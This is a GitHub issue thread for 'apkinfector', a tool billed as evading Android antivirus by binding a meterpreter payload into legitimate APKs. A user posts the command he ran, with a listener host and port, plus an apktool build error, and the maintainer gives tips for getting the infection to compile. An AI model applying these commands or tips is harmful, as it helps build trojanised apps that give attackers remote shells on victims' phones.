PushpenderIndia / apkinfector

Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK
285 stars 75 forks source link

Creation fails #1

Closed CalfCrusher closed 4 years ago

CalfCrusher commented 4 years ago

Hello,

i get this error when try to generate
python3 infector.py --lhost 192.168.56.10 --lport 4444 --apk-name infected.apk --normal-apk /home/kali/Downloads/normal.apk

[*] Compiling Infected APK                                                              
=================================                                                       
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true           
I: Using Apktool 2.4.0-dirty                                                            
I: Checking whether sources has changed...                                              
I: Smaling smali folder into classes.dex...                                             
[Fatal Error] :81:7: The element type "receiver" must be terminated by the matching end-tag "</receiver>".                                                                      
I: Checking whether resources has changed...                                            
I: Building resources...                                                                
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)                                 
W: /home/kali/apkinfector/apkinfector/normal_apk/AndroidManifest.xml:81: error: Error parsing XML: mismatched tag                                                               
W:                                                                                      
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [aapt, p, --min-sdk-version, 16, --target-sdk-version, 28, --version-code, 37, --version-name, 1.6.0, --no-version-vectors, -F, /tmp/APKTOOL10436760007748380233.tmp, -0, arsc, -0, res/drawable-hdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, png, -0, res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-hdpi-v4/abc_cab_background_top_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-hdpi-v4/abc_list_longpressed_holo.9.png

i'm using Linux kali 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux

i previously installed all dependencies: apktool zipalign apksigner

Anyone has this error ?

PushpenderIndia commented 4 years ago

This error is because of APKTool, use any other APK with size less than or equals to 20 mb

Also try to infect little bit older version of apk, as APKTool might not be able to compile that latest apk because of difference in SDK version.

Make sure to update apktool to the latest version (Very important)